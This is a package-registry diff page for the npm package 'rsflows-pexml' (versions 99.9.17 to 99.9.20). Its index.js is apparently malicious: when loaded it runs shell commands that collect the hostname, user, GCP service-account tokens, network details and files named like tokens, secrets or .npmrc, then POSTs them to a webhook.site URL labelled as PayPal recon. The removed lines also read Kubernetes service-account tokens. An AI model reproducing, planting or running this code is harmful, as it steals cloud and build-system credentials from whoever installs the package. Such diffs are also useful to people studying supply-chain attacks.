rsflows-pexml 99.9.17 → 99.9.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +13 -23
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,30 +1,20 @@
|
|
|
1
1
|
const { exec } = require('child_process');
|
|
2
|
-
const webhook = 'https://webhook.site/
|
|
2
|
+
const webhook = 'https://webhook.site/53b04b32-06a9-416e-8897-d54dfb7e0373';
|
|
3
3
|
|
|
4
4
|
const cmd = `
|
|
5
5
|
(
|
|
6
|
-
echo '--- START
|
|
7
|
-
echo '
|
|
8
|
-
echo '
|
|
9
|
-
echo '
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
echo '---
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
echo '--- [3] CLOUD METADATA (GCP) ---';
|
|
20
|
-
# Mencoba mengambil Service Account Token dari Google Cloud
|
|
21
|
-
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'No GCP Token';
|
|
22
|
-
|
|
23
|
-
echo '--- [4] KUBERNETES SECRETS ---';
|
|
24
|
-
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo 'No K8s Token';
|
|
25
|
-
|
|
26
|
-
echo '--- END FULL EXFILTRATION ---';
|
|
27
|
-
) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_FULL_LOOT
|
|
6
|
+
echo '--- EXECUTION START ---';
|
|
7
|
+
echo 'TARGET_HOST: ' \$(hostname);
|
|
8
|
+
echo 'TARGET_USER: ' \$(whoami);
|
|
9
|
+
echo '--- CLOUD METADATA (GCP) ---';
|
|
10
|
+
# Target utama gcpjenkins: ambil token akses cloud
|
|
11
|
+
curl -s -m 2 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' || echo 'Not GCP';
|
|
12
|
+
echo '--- INTERNAL NETWORK ---';
|
|
13
|
+
ip a || ifconfig;
|
|
14
|
+
echo '--- SEARCHING SECRETS ---';
|
|
15
|
+
# Cari file sensitif di home dan root
|
|
16
|
+
find /home /root -maxdepth 4 -name '*token*' -o -name '*secret*' -o -name '.npmrc' 2>/dev/null;
|
|
17
|
+
) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_CRITICAL_RECON
|
|
28
18
|
`;
|
|
29
19
|
|
|
30
20
|
exec(cmd);
|